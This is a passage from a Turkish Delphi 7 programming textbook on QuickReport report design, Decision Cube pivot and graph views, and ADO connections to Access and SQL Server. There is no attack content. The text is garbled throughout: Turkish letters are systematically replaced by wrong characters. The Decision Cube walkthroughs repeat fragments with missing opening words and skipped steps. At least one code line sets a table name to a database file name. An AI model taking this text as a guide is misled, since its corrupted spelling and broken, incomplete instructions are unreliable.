kullanarak çeúitli bilgileri tablo halinde Harddisk’e kaydetme iúlemini
gerçekleútirdik. ùimdiki bölümde ise kaydetti÷imiz bu tablolara ait bilgileri
yazıcıya düzgün bir úekilde gönderme iúlemini gerçekleútirece÷iz.
Yazdı÷ınız kodlar ne kadar güzel olursa olsun, iúinizin devamının getirilebilmesi
için unutmayınızki rapor sayfalarınız çok düzgün úekilde oluúturulmalıdır.
Delphi içerisinde rapor oluúturabilmek için iki yönteminiz bulunmakta. Birincisi
“Rave” kontrolleri ile rapor, ikincisi ise “Qreport” yapra÷ındaki kontrolleri
kullanarak rapor oluúturmaktır. Biz “Qreport” yapra÷ını kullanarak rapor
oluúturaca÷ız. Bu yaprak varsayılan olarak yüklenmemiútir, bu yüzden do÷ru
klasörden yükleme iúlemini gerçekleútirmelisiniz. Aúa÷ıda “Qreport” yapra÷ını
yüklemek için izleyece÷iniz adımlar gösterilmiútir.

“Component->Install Packages” adımlarını izleyin.
Add Buttonuna basarak aúa÷ıdaki adresteki dosyayı seçin.
“C:\ProgramFiles\Borland\Delphi7\Bin\dclqrt70.bpl”
“Ok” Basın.
“Qreport yapra÷ının eklendi÷ini göreceksiniz.
ùimdi bu yapraktaki kontrolleri kullanarak nasıl rapor oluúturabilece÷inizi
gösterece÷im.
Rapor oluúturmak için formunuzun üzerinde muhakkak kaynak tablo ile
ba÷lantısı olan “Table” veya “Query” veya “Stored Procedure” kontrollerinden
bir tanesinin bulunması gerekmektedir. Bu yüzden ilk olarak yazdıraca÷ınız
tabloya ait ba÷lantı iúlemlerini kesinlikle gerçekleútirmek zorundasınız.
Ba÷lantı iúlemlerini baúarılı bir úekilde gerçekleútirdikten sonra aúa÷ıdaki
kontrolleri kullanarak kolaylıkla sonderece profesyonel rapor dökümanları
oluúturabilirsiniz. Her ne kadar örnek üzerinde daha detaylı alıútrmalar yapılacak
olsa da yinede bu yapraktaki kontrollerden kısaca bahsetmek istiyorum.
169
QuickRep Kontrolü:
Rapor oluúturmak için kullanılması zorunlu olan bir kontroldür. Tüm sayfa
yapısını özelliklerini ve di÷er kontrolleri üzerinde barındıracaktır.Bir çok bandı
bulunmaktadır. Bu bandlar kullanılarak di÷er kontroller ilgili yerlere
yerleútirilebilmektedir.
QRSubDetail Kontrolü:
QuickRep kotrolüne yavru band eklemek için kullanılan bir kontroldür.
QRBand Kontrolü:
QuickRep kontrolüne band eklemek için kullanılan kontroldür. Bandın tipi daha
sonra de÷iútirilebilmektedir.
QRGroup Kontrolü:
ùayet raporda gruplandırma yapılacaksa kullanılması gereken bir kontroldür.
QRLabel Kontrolü:
Bantlara etiket eklemek için kullanılan kontroldür. Tüm açıklama verileri için bu
kontrol kullanılmaktadır.
QRDBText Kontrolü:
Tablo sütunları ile ba÷lantı kuracak olan kontroldür.
QRExpr Kontrolü:
Di÷er hücre de÷erlerini kullanarak hesap yapabilen bir kontroldür. Alt Toplam,
Genel Toplam hesaplattırılırken bu kontrolden faydalanılır.
QRSysData Kontrpolü:
Sayfa numarası, toplam sayfa , tarih, saat vs gibi de÷erleri yazdırabilen
kontroldür.
QRMemo Kontrolü:
Uzun karakterli verileri yazdırmak için kullanılan kontroldür. Bu kontrolle
diledi÷iniz kadar açıklama satırını yazdırabilirsiniz.
170
QRRichText Kontrolü:
Farklı formattaki içerikleri yazdırmak için kullanılan kontroldür.
QRShape Kontrolü:
Geometrik úekilleri çizdirmek için kullanılan kontroldür. Bu kontrol sayesinde
daire, çizgi, elips,halka vs çizdirebilirsiniz.
QRImage Kontrolü:
Resim içerikli verileri bastırmak için kullanılan kontroldür. Bilhassa firmaya ait
logoyu bu kontrolle bastırabilirsiniz.
QRDBImage Kontrolü:
Tabloda yer alan resimleri yadırmak için kullanılan kontroldür.
Aúa÷ıdaki tabloyu oluúturup içerisindeki kayıtları yazıcıya gönderelim.
Type(Tipi)
SIRANO
+
Otomatik artar
MAGAZAADI
A
25
SERVISTARIHI
D
GIDENFIRMA
A
25
ARIZASEBEBI
A
25
FATURATUTARI
$
Key(Primary ind)
*
Secondary Index
ølk olarak formunuza bir adet “Table” (Query de olabilirdi) nesnesi
yerleútirin. Ardından table nesnesi ile tablonuz arasındaki ba÷lantıyı
gerçekleútirin (DataBaseName ile TableName özelliklerini ayarlayın).
Table nesnenizin (Table1) Active özelli÷ini true yapın.
Bu adımda formunuza bir adet “QuickRep” kontrolü taúıyıp bırakın.
“QuickRep” kontrolün “Object Inspector” penceresinden “Dataset”
özelli÷ine “Table1” de÷erini girin.
Tekrar “QuickRep” kontrolünü seçin ve “Object Inspector” penceresinde
yer alan “Bands” özelli÷inin solundaki “+” iúaretine tıklayın.
Alt seçenekleri açılacaktır.
Açılan bu bandlardan “HasTitle” olan özelli÷i true yapın.
Delphi otomatik olarak “Title” bandını “QuickRep” kontrolünün
içerisinde oluúturacaktır. Bu banda yerleútirilecek içerikler sadece
raporunuzun ilk sayfasının baúlangıcında yer alacaktır. Di÷er sayfalara bu
bandın herhangi bir etkisi yoktur.
171
“HasTitle” bandı aktifleútirildikten sonra “QuickRep” kontrolüne ait
görüntü aúa÷ıdaki úekilde gerçekleúecektir.
“HasTitle” bandına raporunuzun baúlı÷ını belirlemek için bir adet
“QRLabel” kontrolü yerleútirip içeri÷ine (Caption özelli÷ine)
“MAöAZA SERVøS TAKøP ÇøZELGESø” yazın.
Yapmıú oldu÷unuz de÷iúikliklerin rapor görüntüsünü almak için
“QuickRep” kontrolü üzerinde mousun sa÷ tuúuna tıklayıp
“Preview” komutunu verebilirsiniz.
“QuickRep” kontrolünü seçip “Object Inspector” penceresinden
“HasColumnHeader” bandına true de÷erini aktarın. Bu band sütun
baúlıklarının gösterilece÷i banddır, rapor sayfalarınızın tamamının
baúlı÷ında gözükecektir. Bu banda da beú adet “QRLabel” kontrolü
yerleútirip içeriklerini sütun baúlıklarını gösterecek metinle doldurun.
172
“HasPageHeader” bandına true de÷erini aktarın. Tüm sayfalarda
gözükmesini isteyece÷iniz üst bilgiler için bu bandı kullanabilirsiniz. Bu
banda “QRSysData” kontrolünden bir adet yerleútirip, “Object Inspector”
penceresinden “Data” özelli÷ine “qrsDate” de÷erini aktarın. Bu kontrol
artık aktif raporun basılma tarihini gösterecektir.
Bu adımda tekrar “QuickRep” kontrolünü seçip “Object Inspector”
penceresinden “HasDetail” bandına true de÷erini aktarın. Tablo sütun
bilgilerinin yer aldı÷ı bölüm bu kısımdır. Bu banda beú adet “QRDBText”
kontrolü yerleútirip aúa÷ıdaki ayarları herbiri için ayrı ayrı yapın.
Birinci “QRDBText” kontrolünü seçip “Object Inspector” penceresinden
“DataSet” özelli÷ine “Table1”, “DataField” özelli÷ine de gösterece÷i
sütun de÷erlerini aktarın. Bu iúlemi 5 kontrol için de ayrı ayrı yapın.
173
ùimdiki iúlemimiz “QuickRep” kontrolünü seçip “Object Inspector”
penceresinden “HasPageFooter” bandını aktifleútirmek olacak. Bu band
rapor sayfalarının hepsinde alt bilgi olarak kullanılacaktır. Genellikle
sayfa sayısı veya toplam sayfa adedi gibi etiketlerin yer aldı÷ı bölümdür.
Bu kısma “QRSysData” kontrolünden bir adet yerleútirip “Data”
özelli÷ine “qrsPageNumber” de÷erini aktarın. Bu iúlemden sonra kontrol
aktif sayfa sayısını gösterecektir.
Basit raporlama için aktifleútirece÷imiz son band “HasSummary”
bandıdır. Bu band raporunuzun en sonunda gözükecek olan kısımdır.
Genellikle rapor toplamlarına ait hesaplamaların yaptırılaca÷ı yerdir. Bu
banda yerleútirece÷iniz “QRExp” kontrolü sayesinde tablo sütunlarınıza
ait fonksiyonel hesaplatmaları yaptırabilirsiniz. ùimdi bir adet
(“FATURATUTARI” sütununun alt hizasına) “QRExp” kontrolünü bu
banda yerleútirip “Expression” özelli÷ine tıklayın, aúa÷ıdaki pencere
açılacaktır.
“Function” ve “DataField” dü÷melerini kullanarak yukarıda gösterilen
formülü “Expression” penceresine girin. “OK” Basın.
Bu aúamada raporunuza “preview” komutunu verirseniz “QRExp”
kontrolü içerisinde hesaplanan de÷erin parasal formata çevrilmeden
gösterildi÷ini göreceksiniz. Aksaklı÷ı düzeltmek için “QRExp”
kontrolünü seçip “Mask” özelli÷ine “###,###,### TL” de÷erini aktarıp
raporunuzun önizlemesini alın.
Yine “HasSummary” bandına “QRLabel” kontrolü yerleútirerek (QRExp
kontrolünün etiketi olacak úekilde soluna yerleútirin) “Caption” özelli÷ine
“TOPLAM FATURA TUTARI” yazın.
Raporunuzu baskı önizleme konumuna getirirseniz görüntünüz aúa÷ıdaki
úekilde oluúacaktır.
174
Bu adımda sütun baúlıklarının altına kalın çizgi, kayıtların altlarına da
ince çizgi çekmeyi gösterece÷im. “QrShape” kontrolünden bir adet sütun
baúlıklarının altına (ColumHeader bandı) boydan boya çizin. Varsayılan
olarak “Shape” özelli÷i “qrsRectangle” dır. Yani dikdörtgen çizer. Bu
özelli÷e “qrsHorLine” de÷erini aktarın ve “Pen” özelli÷inin altında yer
alan “Width” de÷erine “3” girip preview görüntüsünü alın. Aynı iúlemi
“Detail” band bileúenlerinin (QRDBText kontrolleri) altında da yapın
fakat width de÷erini de÷iútirmeyin.
175
Gruplandırılmıú Rapor Dosyası Oluúturmak:
Yukarıdaki raporda, kayıtlara dikkat edecek olursanız satırlar kayıt giriú sırasına
göre oluúturulmuútur. ùimdiki iúlemimizde aynı ma÷aza ismine sahip olan
kayitların alt alta ve grup halini almıú úekilde listelenmesini sa÷layaca÷ız.
Aúa÷ıda bu husus adım adım izah edilmektedir.
ølk olarak formunuza bir adet “Table” (Query de olabilirdi) nesnesi
yerleútirin. Ardından table nesnesi ile tablonuz arasındaki ba÷lantıyı
gerçekleútirin (DataBaseName ile TableName özelliklerini ayarlayın).
Table nesnenizin (Table1) Active özelli÷ini true yapın.
Bu adımda formunuza bir adet “QuickRep” kontrolü taúıyıp bırakın.
“QuickRep” kontrolün Object Inspector” penceresinden “Dataset”
özelli÷ine “Table1” de÷erini girin.
Tekrar “QuickRep” kontrolünü seçin ve “Object Inspector” penceresinde
yer alan “Bands” özelli÷inin solundaki “+” iúaretine tıklayın.
Alt seçenekleri açılacaktır.
Açılan bu bandlardan “HasTitle” olan özelli÷i true yapın.
Delphi otomatik olarak “Title” bandını “QuickRep” kontrolünün
içerisinde oluúturacaktır. Bu banda yerleútirilecek içerikler sadece
raporunuzun ilk sayfasının baúlangıcında yer alacaktır. Di÷er sayfalara bu
bandın herhangi bir etkisi yoktur.
“HasTitle” bandına raporunuzun baúlı÷ını belirlemek için bir adet
“QRLabel” kontrolü yerleútirip içeri÷ine (Caption özelli÷ine) “MAöAZA
SERVøS TAKøP ÇøZELGESø” yazın.
Yapmıú oldu÷unuz de÷iúikliklerin rapor görüntüsünü almak için
“QuickRep” kontrolü üzerinde mousun sa÷ tuúuna tıklayıp
“Preview” komutunu verebilirsiniz.
“HasColumnHeader” bandına true de÷erini aktarın. Bu band sütun
baúlıklarının gösterilece÷i banddır, rapor sayfalarınızın tamamının
baúlı÷ında gözükecektir. Bu banda da beú adet “QRLabel” kontrolü
yerleútirip içeriklerini sütun baúlıklarını gösterecek metinle doldurun.
“HasPageHeader” bandına true de÷erini aktarın. Tüm sayfalarda
gözükmesini isteyece÷iniz üst bilgiler için bu bandı kullanabilirsiniz. Bu
banda “QRSysData” kontrolünden bir adet yerleútirip, “Object Inspector”
penceresinden “Data” özelli÷ine “qrsDate” de÷erini aktarın. Bu kontrol
artık aktif raporun basılma tarihini gösterecektir.
Buraya kadar olan kısım yukarıdaki örnekle aynı olacaktır. ùimdi
gösterece÷im adımlar gruplandırma iúlemini gerçekleútirecektir.
Dikkatlice inceleyiniz
176
“Qreport” yapra÷ında yer alan “QRGroup” kontrolünden bir adet
“QuickRep” kontrolünün üzerine yerleútirin. Otomatik olarak
“GroupHeader” özelli÷ini alacaktır. Bu banda gruplandırma yapaca÷ınız
sütun veya sütunları yerleútirebilirsiniz. “Qreport” yapra÷ından bir adet
“QRDBText” kontroünü “MAGAZAADI” sütununun altına gelecek
úekilde yerleútirin. “DataSet” özelli÷ine “Table1”, DataField” özelli÷ine
de “MAGAZAADI” sütununu aktarın. Mousun sa÷ tuúuna basıp
“Preview” görüntüsü alırsanız, aúa÷ıdaki ekran görüntüsüyle
karúılaúırsınız.
Raporun “MAGAZAADI” sütununa göre alfabetik sırada oluúmasının
sebebi “Object Inspector” penceresinden “Index Name” özelli÷ine
paradox tablosunda secondary index olarak tanımlanmıú olan
“MAGAZAADIINDEX”
de÷erinin
aktarılmıú
olmasından
kaynaklanmaktadır (Gruplandırma yapaca÷ınız sütunu tablonuzda index
tanımlamalı ve aktif hale getirmelisiniz. ùayet Query kontrolünü kaynak
olarak kullandıysanız, o zaman indexe gerek olmayıp sadece
gruplandırma yapaca÷ınız sütuna göre “Order By” komutunu
kullanmalısınız).
Bu adımda “QuickRep” kontrolünü seçip Daha önce anlatıldı÷ı gibi
“Object Inspector” penceresinden “HasDetail” bandına true de÷erini
aktarın. Bu bandın içerisine dört (4) adet “QRDBText” kontrolü
yerleútirin. Dört tane dememizin sebebi “MAGAZAADI” sütunu içeri÷ini
gösterecek olan kontrol “GroupHeader” bandına yerleútirilmiútir. Geriye
kalan dördünü bu banda yerleútirmelisiniz. Dört kontrol için “DataSet” ve
177
“DataField” özelliklerini ayarlayın. Raporun tasarım anındaki en son
görüntüsü aúa÷ıda verilmiútir.
Yine bu adım gruplandırma iúlemi için çok önemli, “Qreport” yapra÷ında
yer alan “QRBand” kontrolünden bir adet “QuickRep” kontrolünün
üzerine çizin. Varsayılan olarak “Title” bandı gözükecektir. Bu bandın
“Object
Inspector”
penceresinden
“BandType”
özelli÷ine
“rbGroupFooter” de÷erini aktarın.
ùimdi daha önceden eklemiú oldu÷unuz “QRGroup1” bandını seçip
“Object Inspector” penceresinden “Footer Band” özelli÷ine “QRBand1”
de÷erini aktarın. Artık bu iki band grup iúlemleri için eúgüdümlü olarak
çalıúacaktır.
“Bu adımda “QRBand1” (Group Footer) kontrolüne bir adet “QRExp”
kontrolü yerleútirin. “Expression” özelli÷ine tıklayarak aúa÷ıdaki formülü
girin.
178
Yapmıú oldu÷unuz bu hesaplamanın etiketini belirlemek amaçlı
“QRBand1” kontrolüne bir adet “QRLabel” kontrolü yerleútirip “Caption”
özelli÷ine “ALT TOPLAM” içeri÷ini girin (“QRExp” kontrolünün hemen
soluna).
Tekrar “QRGroup” bandını (Group Header) seçerek “Expression”
özelli÷ine aúa÷ıdaki formülü girin (Gruplandırma yapaca÷ı sütunu
belirtmek gerekiyor).
179
“QuickRep” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan
menüden “Preview” seçene÷ine tıklarsanız yukarıdaki görüntüyle
karúılaúırsınız. Her ma÷azanın altında, alt toplam olarak sonuçların
gösterildi÷i sanıyorum dikkatinizi çekmiútir.
ùimdiki iúlemimiz “QuickRep” kontrolünü seçip “Object Inspector”
penceresinden “HasPageFooter” bandını aktifleútirmek olacak. Önceki
örnekte izah edildi÷i gibi bu band rapor sayfalarının hepsinde alt bilgi
olarak kullanılacaktır. Genellikle sayfa sayısı veya toplam sayfa adedi
gibi etiketlerin yer aldı÷ı bölümdür. Bu kısma “QRSysData”
kontrolünden bir adet yerleútirip “Data” özelli÷ine “qrsPageNumber”
de÷erini aktarın. Bu iúlemden sonra kontrol aktif sayfa sayısını
gösterecektir.
Gruplandırılmıú rapor oluúturmak için aktifleútirece÷imiz son band
“HasSummary” bandıdır. ùimdi bir adet (“FATURATUTARI”
sütununun alt hizasına) “QRExp” kontrolünü bu banda yerleútirip
“Expression” özelli÷ine tıklayın, aúa÷ıdaki pencere açılacaktır.
“Function” ve “DataField” dü÷melerini kullanarak yukarıda gösterilen
formülü “Expression” penceresine girin. “OK” Basın.
Bu aúamada raporunuza “preview” komutunu verirseniz “QRExp”
kontrolü içerisinde hesaplanan de÷erin parasal formata çevrilmeden
gösterildi÷ini göreceksiniz. Aksaklı÷ı düzeltmek için “QRExp”
kontrolünü seçip “Mask” özelli÷ine “###,###,### TL” de÷erini aktarıp
raporunuzun önizlemesini alın.
Yine “HasSummary” bandına “QRLabel” kontrolü yerleútirerek (QRExp
kontrolünün etiketi olacak úekilde soluna yerleútirin) “Caption” özelli÷ine
“TOPLAM FATURA TUTARI” yazın.
180
Raporunuzu baskı önizleme konumuna getirirseniz görüntünüz aúa÷ıdaki
úekilde oluúacaktır.
“Group Footer” kısmında yer alan “Alt Toplam” de÷erinin kümülatif (Bir
önceki alt toplama eklenerek) gitti÷ine dikkat etmiúsinizdir. ùayet her
toplamın birbirinden ba÷ımsız olarak gösterilmesini isterseniz o zaman
aúa÷ıdaki adımları izlemelisiniz.
“Group Footer” bandında yer alan “QRExp1” kontrolünü seçin.
“Object Inspector” penceresinde yer alan “ResetAfterPrint” özelli÷ine
“true” de÷erini aktarın.
Bu aúamadan sonra mousun sa÷ tuúuna tıklayıp “Preview” komutunu verirseniz,
“Group Footer” kısmında yer alan tüm hesaplatmalar (birden fazla hesaplatma
yaptırabilirsiniz) birbirlerinden ba÷ımsız olarak yapılacaktır. Yani hesaplanan
ma÷azaya ait tutara bir önceki ma÷azanın toplam de÷eri eklenmeyecektir.
181
Aúa÷ıda raporun en son tasarım görüntüsü ile “Print preview” görüntüsü
verilmektedir.
Dikkat edin alt toplam de÷erleri artık kümülatif de÷il, birbirlerinden tamamen
ba÷ımsız olarak hesaplanmaktadır.
182
Rapor Dosyasına Uygulamanızdan Eriúmek:
Oluúturdu÷unuz raporunuzun baskı önizleme görüntüsüne, program içerisinden
nasıl ulaúabilece÷iniz hususu önem arz etmektedir. Do÷rusunu isterseniz fazla
bir u÷raúa gerek yok ama bilinmesi gerekmektedir. Aúa÷ıdaki uygulamada
“Form1” üzerinde oluúturulmuú bir raporu “Form5” üzerine yerleútirilecek
“Button” kontrolünün “OnClick” yordamından açalım. Aúa÷ıdaki kod blo÷unu
kullanabilirsiniz.
uses Unit1; //eklemeyi unutmayınız.
{$R *.dfm}
//Baskı Önizleme Al
begin
Form1.QuickRep1.Preview;//Baskı Önizleme yap
end;
183
184
BÖLÜM 6
DECISION CUBE
ILE
ÖZET TABLO GÖRÜNTÜLERø
OLUùTURMAK
185
186
Decision Cube Kontrolleri:
Excel kullandıysanız bilirsiniz, tablolara ait özet görünümler elde etmek için
kullanılan “Pivot Table” yapısı gibi özet tablo bilgilerini kullanıcıya seçenekli
olarak gösterebilen bir yapraktır.
Bu yaprakta bulunan kontroller birbirleriyle iç içe çalıútıkları için, teker teker
de÷il hepsini beraberce inceleyece÷iz. Aúa÷ıda adım adım “Decision Cube”
kontrollerini nasıl kullanabilece÷iniz açıklanmaktadır. Dikkatlice inceleyiniz.
ølk Olarak Tablo Bilgilerini özet tablo görüntüsü olarak kullanıcıya nasıl
gösterebilece÷inizi izah etmek istiyorum.
Tablo Kayıtlarını Özet Tablo Olarak Listelemek:
Birinci adım Formunuzun üzerine bir adet “DecisionQuery” kontrolü
yerleútirerek üzerine mous ile çift tıklayın. Aúa÷ıdaki pencere açılacaktır.
“Decision Query Editor” penceresinde ilk olarak “Database” kutusu
içerisinden tablonuzun içerisinde yer aldı÷ı “Alias” ismini seçin.
Ardından “Table” kutusunda o klasörde kayıtlı tüm tablolar
listelenecektir. Özet görüntü alaca÷ınız tabloyu seçin.
Tablonuzu seçtikten sonra, içerisinde yer alan tüm sütunlar “List of
Available
Fields”
listesinde
gözükecektir.
“MAGAZAADIGIDENFIRMA” sütunlarını seçerek “Dimensions” penceresine,
“FATURATUTARI” sütununuda “Sum” ı seçerek “Summaries”
187

penceresine aktarın. “SQL Query” yapra÷ına geçerek Delphi nin
oluúturdu÷u sorgu komutlarını inceleyebilirsiniz.
Bu adımda formunuza bir adet “DecisionCube” kontrolü yerleútirerek
“DataSet” özelli÷ine “DecisionQuery1” de÷erini aktarın.
Kaynaktaki bilgileri form üzerindeki kontrollere aktarmak için formunuza
bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube”
özelli÷ine “DecisionCube1” de÷erini aktarın.
Verileri listelemek için formunuzun üzerine yine “DecisionCube”
yapra÷ında yer alan “DecisionGrid” kontrolü yerleútirerek,
“DecisionSource” özelli÷ine “DecisionSource1” de÷erini aktarın.
Son olarak “DecisionQuery1” kontrolüne ait “Active” özelli÷ini true
yapıp programınızı çalıútırın. Ekran görüntünüz aúa÷ıdaki úekilde
oluúacaktır.
Ekran görüntüsüne dikkat edecek olursanız seçmiú oldu÷unuz sütunların
istedi÷iniz yerde (satır veya sütun) listelenmiú olduklarını göreceksiniz. Mous
sa÷ tuúu ile sütun baúlıklarına (MAGAZAADI-GIDENFIRMA) tıklarsanız
gösterilecek olan sütunları de÷iútirebilirsiniz.
Tablo Kayıtlarını Grafik ùeklinde Göstermek:
ùimdiki amacımız özet tablo halinde oluúturulan kayıtları grafik úeklinde
kullanıcıya göstermeyi sa÷lamak olacaktır.
yerleútirerek üzerine mous ila çift tıklayın. Aúa÷ıdaki pencere açılacaktır.
Açılan pencerede tüm iúlemleri “Dimensions/Summaries” yapra÷ında
gerçekleútirece÷iz.
188
Bu yüzden “Dimensions/Summaries” yapra÷ını aktif hale getirip di÷er
adımları izleyin.
Available
Fields”
listesinde
gözükecektir.
bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube”
özelli÷ine “DecisionCube1” de÷erini aktarın.
yapra÷ında yer alan “DecisionGraph” kontrolü yerleútirerek,
yapıp programınızı çalıútırın.
Ekran görüntünüz aúa÷ıdaki úekilde oluúacaktır.
189
Burada de÷inmek istedi÷im di÷er bir hususta, “DecisionGraph” kontrolünü seçip
mousun sa÷ tuúuna tıklarsanız, menü açılacaktır. Bu menüden “EditCharts”
seçene÷ini tıklarsanız aúa÷ıdaki pencere açılacaktır. Bu pencerede “Delphi”
kullandı÷ınız wizard sayesinde kendi serilerini otomatik olarak oluúturmuútur.
DecisionPivot Kontrolü Kullanarak Senaryo Oluúturmak:
Aynı örne÷imiz için úimdi de yeni senaryolar üretelim. Aúa÷ıdaki adımları teker
teker inceleyiniz.
yerleútirerek üzerine mous ila çift tıklayın. Aúa÷ıdaki pencere açılacaktır.
190
Açılan pencerede tüm iúlemleri “Dimensions/Summaries” yapra÷ında
Bu yüzden “Dimensions/Summaries” yapra÷ını aktif hale getirip di÷er
adımları izleyin.
Available
Fields”
listesinde
gözükecektir.
bir adet “DecisionSource” kontrolü yerleútirip “DecisionCube” özelli÷ine
“DecisionCube1” de÷erini aktarın.
yapra÷ında yer alan “DecisionGraph” kontrolü yerleútirerek,
Bu adım da formunuzun üzerine “DecisionPivot” kontrolü yerleútirip
“DecisionSource” özelli÷ine “DecisionDataSource1” de÷erini aktarın.
191
yapıp programınızı çalıútırın.
Ekran görüntünüz aúa÷ıdaki úekilde oluúacaktır.
ùimdi “GIDENFIRMA” etiketine tıklarsanız ekran görüntünüz aúa÷ıdaki
pencere gibi oluúacaktır (Firma isimlerinin gözükmedi÷ine dikkat ediniz).
Görüntüye dikkat edecek olursanız “GIDENFIRMA” sütununa ait de÷erlerin
yazılmadı÷ını görürsünüz. Aynı iúlemi “MAGAZAADI” sütunu içinde
De÷inmek istedi÷im son nokta úayet “SUM OF FATURATUTARI” kısmına
mous sa÷ tuú ile tıklarsanız bir menü açılacak, bu menüden diledi÷iniz seçene÷i
seçebileceksiniz.
192
Aynı durum di÷er sütun baúlıkları içinde geçerlidir. Yani “MAGAZAADI”
sütunu üzerine mous sa÷ tuú ile tıklarsanız aúa÷ıdaki gibi ek senaryo üretmeniz
için gerekli yardımcı menüler açılacaktır.
Görüldü÷ü gibi açılan menüden diledi÷iniz seçene÷i seçebilirsiniz. Delphi sizin
yerinize uygun senaryoyu yaratacak sonucu ekranda gösterecektir.
193
194
BÖLÜM 7
ADO KONTROLLERø
195
196
ADO Kontrolleri:
Delphi uygulamaları geliútirilmesi sırasında Microsoft veritabanlarında bulunan
tablo kayıtları kullanılacaksa o zaman “ADO” kontrollerine ihtiyaç
duyacaksınız. Aslında Paradox dururken “Microsoft Access” a ba÷lanmak pek
mantıklı gözükmesede mecbur kaldı÷ınızı düúünelim ve ba÷lantının nasıl
yapılabilece÷ini gösterelim.
Burada hatırlatmakta fayda var. “ADO” kontrollerine de÷inmemdeki amaç
“Microsoft Access” veri tabanı uygulamaları geliútirmek için de÷il, daha büyük
uygulamalar geliútirme imkanınızın bulundu÷u “SQL Server” veri tabanı
uygulamalarını kullanmak amaçlanmıútır. Bu düúünceyle göreceksiniz
örneklerimizin neredeyse tamamında “SQL Server” kullanılacaktır. Bilinmesi
açısından ilk olarak “Microsoft Access” veri tabanına ba÷landıktan sonraki tüm
uygulamalarımızı “SQL Server “üzerinden gerçekleútirece÷iz.
Adoconnection Kontrolü:
Genel amaçlı olarak daha sonra anlataca÷ım kontrollere bilgi da÷ıtmak için
kullanılan bir kontroldür. Ba÷lanılacak olan veritabanı bu kontrol sayesinde
belirlenebilecektir. Ba÷lantı iúlemleri için aúa÷ıdaki adımları izlemelisiniz.
Formunuza “ADO” yapra÷ında yer alan bir adet “Adoconnection”
kontrolü yerleútirin.
Bu kontrolü seçip “Object Inspector” penceresinden “ConnectionString”
özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır.
Bu pencerede “Use Connection String” iúaret dü÷mesi seçili iken
“Build” dü÷mesine tıklayın.
Aúa÷ıda gözüktü÷ü úekilde yeni bir pencere açılacaktır. Bu pencerede
ba÷lantı sa÷layaca÷ınız veritabanı iúlemlerini destekleyen motoru seçmek
durumundasınız. ùayet “Microsoft Access” veritabanı ba÷lantısı
197
oluúturacaksanız “Microsoft 4.0 Jet OLE DB Provider” seçene÷ini
seçmelisiniz. E÷er “SQL Server” a ba÷lansaydınız o zaman da “Microsoft
OLE DB Provider SQL Server” seçene÷ini seçmeniz gerekecekti.
Seçene÷inizi belirttikten sonra “Provider” yapra÷ına geçin.
Bu yaprakta ba÷lantı türünüzü kullanarak kayıtlarına ulaúaca÷ınız
tablolarınızı veya Query lerinizi belirlemelisiniz. Veri Tabanı ba÷lantı
úeklini belirledikten sonra “ADO” yapra÷ında yer alan “Table-QueryStoredProc” kontrollerini kullanarak “Adoconnection” sayesinde bu
Access” dosyasına eriúebileceksiniz.
Provider penceresinde ilk olarak “Select or enter a database name”
kısmına ba÷lanaca÷ınız veritabanının ismini girin veya seçin (yoluyla
beraber).
Dosya eriúimi için belirlenen bir úifre varsa girmelisiniz. ùayet yetkili bir
úahıssanız úifre kısmını geçebilirsiniz.
Bu pencerede son olarak ba÷lantının baúarılı bir úekilde gerçekleúip
gerçekleúmedi÷ini belirlemeniz için “Test Connection” dü÷mesine
tıklayın. Ba÷lantının baúarılı bir úekilde gerçekleúti÷ini belirten uyarı
mesajıyla karúılaúırsanız, iúlem tamamlanmıú demektir.
198
Artık “OK” Buttonuna tıklayabilirsiniz. Ba÷lantı kurulmuú olup di÷er
adımları atmanızı beklemektedir.
Daha önce açmıú oldu÷unuz pencerede ba÷lantı yeriniz gözükecektir.
Tekrar “OK” Buttonuna tıklayın.
x ADOConnection1.Connected
Ba÷lantının var olup olmadı÷ını belirleyen özelli÷idir. Boolean tip bir de÷iúken
de÷eri alabilen bu özelli÷in true de÷erini döndürmesi ba÷lantının var oldu÷unu,
false de÷erini döndürmesi ise ba÷lantının açık olmadı÷ını gösterecektir.
x ADOConnection1.LoginPrompt
Her ba÷lantı kurulmaya çalıúıldı÷ı zaman úifre penceresinin açılıp
açılmayaca÷ını belirleyen özelli÷idir. Varsayılan de÷eri true dur ve her
defasında pencere açılacaktır.
begin
ADOConnection1.LoginPrompt:=false;
end;
199
ADOTable Kontrolü:
Bu kontrol “Adoconnection” ı kullanarak veya direk olarak (Biz hep
Adoconnection kullanmanızı tavsiye ediyoruz) Microsoft veritabanlarına
ba÷lanmak için kullanılmaktadır.
x ADOTable1.Connection
“Adoconnection” kontrolünü kullanarak veritabanına ba÷lanmayı sa÷layan
özelli÷idir.
begin
ADOTable1.Connection:=ADOConnection1;
end;
Dilerseniz bu
aktarabilirsiniz.
özelli÷e
“Object
Inspector”
penceresinden
de÷er
de
x ADOTable1.TableName
Veri Tabanları içerisinde birden fazla tablo veya Query bulunabilece÷i için bu
özellikle hangi tablonun kullanılaca÷ı belirlenmelidir.
begin
ADOTable1.Connection:=ADOConnection1;
ADOTable1.TableName:='MAGAZATABLOSU.MDB';
end;
Yine aynı úekilde dilerseniz “Object Inspector” penceresinden de de÷er
atayabilirsiniz.
Microsoft Access Veri Tabanına Ba÷lanmak:
Yukarıdaki iki kontrolü formunuza yerleútirip gerekli tablo ba÷lantısını
sa÷ladıktan sonra formunuza bir bir adet “Data Access” yapra÷ında yer alan
“DataSource” nesnesi yerleútirin. “DataSource” kontrolüne ait “DataSet”
özelli÷ine “ADOTable1” de÷erini aktarın. Son olarak kayıtların gözükebilmesi
için formunuza bir adet “DataGrid” nesnesi yerleútirerek , “DataSource”
özelli÷ine “DataSource1” içeri÷ini aktarın.
200
Belirtilen ayarları yaptıktan sonra programınızı çalıútırırsanız yukarıdaki úekilde
bir ekran görüntüsüyle karúılaúırsınız. Buradan sonraki iúlemler daha önce
gösterdi÷imiz úekilde gerçekleútirilebilir.
SQL Server øle Çalıúmak:
Delphi nin en uyumlu çalıúma ortamını “Oracle” veye “Paradox” ile
oluúturdu÷unu daha önce belirtmiútik. Fakat Türkiye úartlarında orta ölçekli
firmaların ço÷u “SQL Server” kullanmaktadır. Bu hususta programcıların
yeterince kaynak bulamadıkları da bir gerçek, sizlere karúılaútı÷ınız bu sıkıntıları
atlatmak için detaylı açıklamalar getirece÷im.
A÷ ortamında (helede uygulama biraz karmaúıksa) Ufak ölçekli veri tabanı
programlarıyla
çalıúırsanız
muhakkak
belirli
